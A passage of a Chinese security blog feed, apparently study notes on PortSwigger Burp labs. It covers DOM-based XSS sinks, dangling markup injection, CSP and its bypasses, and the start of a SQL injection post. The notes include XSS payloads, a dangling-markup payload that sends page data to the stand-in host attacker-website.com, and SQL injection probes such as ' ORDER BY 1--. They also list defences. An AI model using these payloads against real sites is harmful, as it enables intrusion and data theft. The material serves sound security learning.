&lt;p&gt;&lt;strong&gt;二、测试JavaScript执行类接收点&lt;/strong&gt;（如&lt;code&gt;eval()&lt;/code&gt;、&lt;code&gt;setTimeout()&lt;/code&gt;）&lt;/p&gt;
&lt;p&gt;此类接收点的核心特征是：攻击者输入的数据会作为JavaScript代码执行，且不一定会嵌入DOM中，测试难度更高，步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;定位数据源引用&lt;/strong&gt;：打开Chrome开发者工具，按&lt;code&gt;Ctrl+Shift+F&lt;/code&gt;（Mac为&lt;code&gt;Command+Alt+F&lt;/code&gt;），搜索页面所有JavaScript代码中对目标数据源的引用（如搜索&lt;code&gt;location.search&lt;/code&gt;、&lt;code&gt;location.hash&lt;/code&gt;）；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通过调试跟踪数据流转&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;在数据源被读取的代码位置设置断点（点击代码行号左侧）；&lt;/li&gt;
&lt;li&gt;刷新页面触发断点，逐步跟踪数据流向：观察数据源的值是否被赋值给其他变量，若有则继续搜索这些变量，直至找到其传递到的危险接收点（如&lt;code&gt;eval(变量名)&lt;/code&gt;）；&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;验证并构造载荷&lt;/strong&gt;：在断点处悬停变量，查看数据传递到接收点前的原始值；根据接收点的语法规则构造载荷（如&lt;code&gt;eval()&lt;/code&gt;接收字符串，可注入&lt;code&gt;&amp;quot;;alert(1);//&lt;/code&gt;闭合原有字符串并执行脚本）。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;三、使用DOM Invader工具简化测试&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在实际场景中，DOM型XSS的测试往往需要手动分析复杂、压缩后的JavaScript代码，过程繁琐。若使用Burp内置浏览器，可借助其自带的&lt;strong&gt;DOM Invader插件&lt;/strong&gt;，该工具能自动识别数据源与接收点的关联、跟踪数据流转，大幅降低手动测试的工作量。&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://portswigger.net/burp/documentation/desktop/tools/dom-invader&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;DOM Invader - PortSwigger&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&#34;漏洞利用&#34;&gt;漏洞利用
&lt;/h4&gt;&lt;h2 id=&#34;&#34;&gt;
&lt;/h2&gt;&lt;p&gt;DOM型XSS的漏洞本质是：攻击者可控的&lt;strong&gt;数据源&lt;/strong&gt;（如URL）经客户端JavaScript流转至&lt;strong&gt;危险接收点（Sink）&lt;/strong&gt;，且未做安全处理，导致恶意脚本执行。实际利用需适配数据源/接收点特性，绕过页面数据验证逻辑。&lt;/p&gt;
&lt;h2 id=&#34;&#34;&gt;
&lt;/h2&gt;&lt;table&gt;
  &lt;thead&gt;
      &lt;tr&gt;
          &lt;th&gt;接收点类型&lt;/th&gt;
          &lt;th&gt;特性与示例载荷&lt;/th&gt;
      &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
      &lt;tr&gt;
          &lt;td&gt;document.write()&lt;/td&gt;
          &lt;td&gt;支持&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;标签，可直接注入：&lt;code&gt;&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;&lt;/code&gt;；需注意闭合现有HTML元素&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;innerHTML&lt;/td&gt;
          &lt;td&gt;现代浏览器不支持&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;，需用事件驱动标签：&lt;code&gt;&amp;lt;img src=1 onerror=alert(document.domain)&amp;gt;&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;jQuery（attr()）&lt;/td&gt;
          &lt;td&gt;若控制href等属性，可注入JS协议：&lt;code&gt;javascript:alert(document.domain)&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;jQuery（$()选择器）&lt;/td&gt;
          &lt;td&gt;旧版本存在漏洞，可通过hashchange事件注入：&lt;code&gt;#&amp;lt;img src=1 onerror=alert(1)&amp;gt;&lt;/code&gt;（需iframe触发）&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
          &lt;td&gt;AngularJS&lt;/td&gt;
          &lt;td&gt;支持双花括号执行JS，无需尖括号/事件：&lt;code&gt;{{alert(document.domain)}}&lt;/code&gt;（需网站启用ng-app）&lt;/td&gt;
      &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id=&#34;&#34;&gt;
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;第三方依赖漏洞&lt;/strong&gt;：jQuery、AngularJS等框架的特定函数（如jQuery的html()、AngularJS的表达式）可能成为接收点；&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结合反射/存储机制&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;反射型DOM XSS：服务器将URL参数反射到页面，客户端脚本 unsafe 处理后触发；&lt;/li&gt;
&lt;li&gt;存储型DOM XSS：服务器存储恶意数据，后续响应中客户端脚本 unsafe 处理该数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&#34;&#34;&gt;
&lt;/h2&gt;&lt;p&gt;原生JS接收点&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;document&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;writeln&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;element&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;innerHTML&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;element&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;outerHTML&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;element&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;insertAdjacentHTML&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;element&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;onevent&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;jQuery接收点&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nx&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;after&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;prepend&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;replaceWith&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;、&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;$&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;parseHTML&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;防护措施&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;禁止将不可信数据源（如URL、用户输入）动态写入HTML文档；&lt;/li&gt;
&lt;li&gt;遵循DOM型漏洞通用防护规则，对数据源进行严格过滤与编码；&lt;/li&gt;
&lt;li&gt;及时更新第三方框架（如jQuery、AngularJS），修复已知漏洞。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;悬挂标记注入&#34;&gt;悬挂标记注入
&lt;/h3&gt;&lt;p&gt;悬挂标记注入是一种&lt;strong&gt;无法实施完整XSS攻击时的跨域数据捕获技术&lt;/strong&gt;，核心是通过构造“未闭合的HTML标记”，诱使浏览器将页面后续敏感数据作为请求参数发送至攻击者控制的服务器，本质是XSS攻击的替代攻击手段。&lt;/p&gt;
&lt;p&gt;当应用程序将攻击者可控数据不安全地嵌入响应（如未过滤/转义特殊字符），但因输入过滤、内容安全策略（CSP）等限制无法实施常规XSS时，通过注入“未闭合的HTML属性/标签”，迫使浏览器解析后续页面数据并发送至攻击者服务器的攻击方式。&lt;/p&gt;
&lt;p&gt;前提：&lt;/p&gt;
&lt;h3 id=&#34;&#34;&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;应用程序未过滤/转义&lt;code&gt;&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;quot;&lt;/code&gt;、&lt;code&gt;&#39;&lt;/code&gt;等关键字符，攻击者可突破属性/标签限制；&lt;/li&gt;
&lt;li&gt;常规XSS攻击被阻断（如CSP拦截脚本执行、过滤所有脚本标签/事件）；&lt;/li&gt;
&lt;li&gt;页面注入点后续存在敏感数据（如CSRF令牌、邮件内容、财务信息等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;示例-2&#34;&gt;示例
&lt;/h4&gt;&lt;h4 id=&#34;&#34;&gt;
&lt;/h4&gt;&lt;h3 id=&#34;&#34;&gt;
&lt;/h3&gt;&lt;p&gt;假设应用响应中存在不安全嵌入的可控数据（未闭合属性/标签）：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;input&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;name&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;input&amp;#34;&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;CONTROLLABLE&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;DATA&lt;/span&gt; &lt;span class=&#34;na&#34;&gt;HERE&lt;/span&gt;&lt;span class=&#34;err&#34;&gt;&amp;lt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;&#34;&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;攻击者注入 payload：&lt;code&gt;&amp;quot;&amp;gt;&amp;lt;img src=&#39;//attacker-website.com?&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;第一步：&lt;code&gt;&amp;quot;&amp;gt;&lt;/code&gt; 闭合原有&lt;code&gt;value&lt;/code&gt;属性和&lt;code&gt;&amp;lt;input&amp;gt;&lt;/code&gt;标签，回到HTML自由上下文；&lt;/li&gt;
&lt;li&gt;第二步：创建&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;标签并定义&lt;code&gt;src&lt;/code&gt;属性，但其&lt;code&gt;src&lt;/code&gt;值仅开头（&lt;code&gt;//attacker-website.com?&lt;/code&gt;），未闭合单引号，处于“悬挂”状态；&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;浏览器解析行为：浏览器会自动查找后续第一个单引号以闭合&lt;code&gt;src&lt;/code&gt;属性，期间所有内容（从注入点之后到第一个单引号前）都会被当作&lt;code&gt;src&lt;/code&gt;URL的一部分，且非字母数字字符（如换行、尖括号）会被URL编码；&lt;/li&gt;
&lt;li&gt;数据捕获：浏览器会向&lt;code&gt;//attacker-website.com?[后续敏感数据]&lt;/code&gt;发送请求，攻击者通过服务器日志即可获取编码后的敏感数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;防护措施&#34;&gt;防护措施
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;核心防护（与XSS通用）&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;输出编码：将用户可控数据嵌入HTML时，对特殊字符（&lt;code&gt;&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;&lt;/code&gt;、&lt;code&gt;&amp;quot;&lt;/code&gt;、&lt;code&gt;&#39;&lt;/code&gt;等）进行HTML实体编码；&lt;/li&gt;
&lt;li&gt;输入验证：严格校验输入数据，过滤可能用于突破标签/属性的特殊字符或标记。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;辅助防护&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;内容安全策略（CSP）：配置限制&lt;code&gt;img&lt;/code&gt;、&lt;code&gt;link&lt;/code&gt;等标签加载外部资源的策略（可阻断部分攻击，但非全部）；&lt;/li&gt;
&lt;li&gt;依赖浏览器防护：Chrome浏览器已针对该攻击优化——禁止&lt;code&gt;img&lt;/code&gt;等标签的URL包含尖括号、换行等原始字符，因捕获的敏感数据通常含此类字符，可直接阻断攻击。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;csp-内容安全策略&#34;&gt;CSP 内容安全策略
&lt;/h3&gt;&lt;p&gt;内容安全策略（CSP）是一种&lt;strong&gt;浏览器安全机制&lt;/strong&gt;，核心目的是缓解XSS、悬挂标记注入、点击劫持等攻击，通过限制页面可加载的资源（如脚本、图片）、是否允许被其他页面嵌套等规则，构建安全的页面运行环境。其核心实现方式是通过HTTP响应头&lt;code&gt;Content-Security-Policy&lt;/code&gt;，配置多个用分号分隔的指令（Directive）定义安全规则。&lt;/p&gt;
&lt;h2 id=&#34;&#34;&gt;
&lt;/h2&gt;&lt;h4 id=&#34;缓解xss攻击&#34;&gt;缓解XSS攻击
&lt;/h4&gt;&lt;p&gt;核心思路是&lt;strong&gt;白名单管控脚本来源&lt;/strong&gt;，阻止攻击者注入的恶意脚本执行，主要通过&lt;code&gt;script-src&lt;/code&gt;指令实现：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;仅允许加载同源脚本：&lt;code&gt;script-src &#39;self&#39;&lt;/code&gt;（&lt;code&gt;&#39;self&#39;&lt;/code&gt;表示当前页面所在域名）；&lt;/li&gt;
&lt;li&gt;仅允许加载指定域名脚本：&lt;code&gt;script-src https://scripts.normal-website.com&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;进阶白名单方式（避免依赖外部域名风险）：
&lt;ul&gt;
&lt;li&gt;非ces（Nonce）：指令中指定随机生成的非ce值，脚本标签需包含相同&lt;code&gt;nonce&lt;/code&gt;属性才允许执行（非ce需每次页面加载随机生成，不可猜测）；&lt;/li&gt;
&lt;li&gt;哈希（Hash）：指令中指定可信脚本的内容哈希值，脚本内容哈希与指令匹配才允许执行（脚本内容变更需同步更新哈希值）；&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;注意事项：允许外部域名（如CDN）脚本时需谨慎，若第三方域名可被攻击者控制内容，仍可能引发攻击。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;缓解悬挂标记注入攻击&#34;&gt;缓解悬挂标记注入攻击
&lt;/h4&gt;&lt;p&gt;通过&lt;code&gt;img-src&lt;/code&gt;等指令限制可发起外部请求的资源来源，阻断攻击的数据捕获路径：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;仅允许同源图片加载：&lt;code&gt;img-src &#39;self&#39;&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;仅允许指定域名图片加载：&lt;code&gt;img-src https://images.normal-website.com&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;局限性：仅能阻断依赖&lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt;标签的攻击，无法防御&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;标签&lt;code&gt;href&lt;/code&gt;属性等其他形式的悬挂标记注入。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;防护点击劫持攻击&#34;&gt;防护点击劫持攻击
&lt;/h4&gt;&lt;p&gt;通过&lt;code&gt;frame-ancestors&lt;/code&gt;指令限制页面被嵌套（iframe）的规则，比&lt;code&gt;X-Frame-Options&lt;/code&gt;头更灵活：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;仅允许同源页面嵌套：&lt;code&gt;frame-ancestors &#39;self&#39;&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;完全禁止嵌套：&lt;code&gt;frame-ancestors &#39;none&#39;&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;支持多域名/通配符：&lt;code&gt;frame-ancestors &#39;self&#39; https://normal-website.com https://*.robust-website.com&lt;/code&gt;；&lt;/li&gt;
&lt;li&gt;优势：可验证父框架层级中所有页面的来源，而&lt;code&gt;X-Frame-Options&lt;/code&gt;仅验证顶层框架。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;csp的绕过技巧&#34;&gt;CSP的绕过技巧
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;利用政策注入绕过&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;适用场景：网站将攻击者可控的输入（如URL参数）反射到CSP政策中（常见于&lt;code&gt;report-uri&lt;/code&gt;指令）；&lt;/li&gt;
&lt;li&gt;绕过逻辑：注入分号（&lt;code&gt;;&lt;/code&gt;）分割原有指令，添加自定义指令；若&lt;code&gt;report-uri&lt;/code&gt;是最后一个指令，需覆盖原有指令（如利用Chrome的&lt;code&gt;script-src-elem&lt;/code&gt;指令，可覆盖&lt;code&gt;script-src&lt;/code&gt;指令，控制脚本元素执行）。&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;突破外部请求限制&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;场景：CSP禁止所有外部请求；&lt;/li&gt;
&lt;li&gt;绕过逻辑：诱导用户交互（如点击），注入含未闭合属性的HTML元素（如&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt;标签），用户点击后将元素内的页面数据发送至攻击者服务器。&lt;/li&gt;
&lt;/ul&gt;
</description>
        </item>
        <item>
        <title>Burp靶场：SQL注入</title>
        <link>https://calendar0917.github.io/posts/burp%E9%9D%B6%E5%9C%BA-sql%E6%B3%A8%E5%85%A5/</link>
        <pubDate>Fri, 21 Nov 2025 00:00:00 +0000</pubDate>
        
        <guid>https://calendar0917.github.io/posts/burp%E9%9D%B6%E5%9C%BA-sql%E6%B3%A8%E5%85%A5/</guid>
        <description>&lt;h2 id=&#34;知识&#34;&gt;知识
&lt;/h2&gt;&lt;h3 id=&#34;注入点&#34;&gt;注入点
&lt;/h3&gt;&lt;p&gt;可以通过对应用程序的&lt;strong&gt;所有输入点&lt;/strong&gt;执行一套系统化测试，手动检测 SQL 注入漏洞。通常需提交以下内容：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;单引号字符 &lt;code&gt;&#39;&lt;/code&gt;，观察是否出现错误或其他异常；&lt;/li&gt;
&lt;li&gt;特定 SQL 语法（其计算结果分别等于输入点的原始值和不同值），观察应用程序响应是否存在规律性差异；&lt;/li&gt;
&lt;li&gt;布尔条件（如 &lt;code&gt;OR 1=1&lt;/code&gt;、&lt;code&gt;OR 1=2&lt;/code&gt;），观察应用程序响应差异；&lt;/li&gt;
&lt;li&gt;用于在 SQL 查询执行时触发延时的负载，观察响应时间是否存在差异；&lt;/li&gt;
&lt;li&gt;用于在 SQL 查询执行时触发带外网络交互的 OAST（带外应用安全测试） 负载，并监控是否产生相关交互。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;此外，也可以使用 Burp Scanner 快速、可靠地发现绝大多数 SQL 注入漏洞。&lt;/p&gt;
&lt;h3 id=&#34;union-攻击&#34;&gt;UNION 攻击
&lt;/h3&gt;&lt;p&gt;当应用程序存在SQL注入漏洞，且查询结果会返回到应用响应中时，可利用 &lt;code&gt;UNION&lt;/code&gt; 关键字从数据库的&lt;strong&gt;其他表&lt;/strong&gt;中获取数据。这种攻击方式通常被称为 &lt;strong&gt;SQL注入UNION攻击&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;UNION&lt;/code&gt; 关键字允许执行一个或多个额外的 &lt;code&gt;SELECT&lt;/code&gt; 查询，并将结果附加到原始查询中。例如：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;a&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;table1&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;UNION&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;SELECT&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;c&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;d&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;k&#34;&gt;FROM&lt;/span&gt;&lt;span class=&#34;w&#34;&gt; &lt;/span&gt;&lt;span class=&#34;n&#34;&gt;table2&lt;/span&gt;&lt;span class=&#34;w&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;该SQL查询会返回一个包含两列的结果集，数据涵盖 &lt;code&gt;table1&lt;/code&gt; 表的 &lt;code&gt;a&lt;/code&gt;、&lt;code&gt;b&lt;/code&gt; 列和 &lt;code&gt;table2&lt;/code&gt; 表的 &lt;code&gt;c&lt;/code&gt;、&lt;code&gt;d&lt;/code&gt; 列。&lt;/p&gt;
&lt;p&gt;要让 UNION 查询生效，必须满足两个关键条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;各个查询必须返回&lt;strong&gt;相同数量的列&lt;/strong&gt;；&lt;/li&gt;
&lt;li&gt;各个查询对应列的数据类型必须&lt;strong&gt;兼容&lt;/strong&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;实施 SQL 注入 UNION 攻击时，需确保攻击手段符合这两个条件。这通常需要查明以下两点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;原始查询返回的列数是多少；&lt;/li&gt;
&lt;li&gt;原始查询返回的列中，哪些列的数据类型适合承载注入查询的结果。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;判断列数&#34;&gt;判断列数
&lt;/h4&gt;&lt;p&gt;在实施SQL注入UNION攻击时，有两种有效方法可确定原始查询返回的列数。&lt;/p&gt;
&lt;p&gt;其中一种方法是注入一系列&lt;code&gt;ORDER BY&lt;/code&gt;子句，并逐步增加指定的列索引，直至触发错误。例如，若注入点位于原始查询&lt;code&gt;WHERE&lt;/code&gt;子句内的带引号字符串中，你需要提交以下负载：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39; ORDER BY 1--
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39; ORDER BY 2--
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&amp;#39; ORDER BY 3--
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;……
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
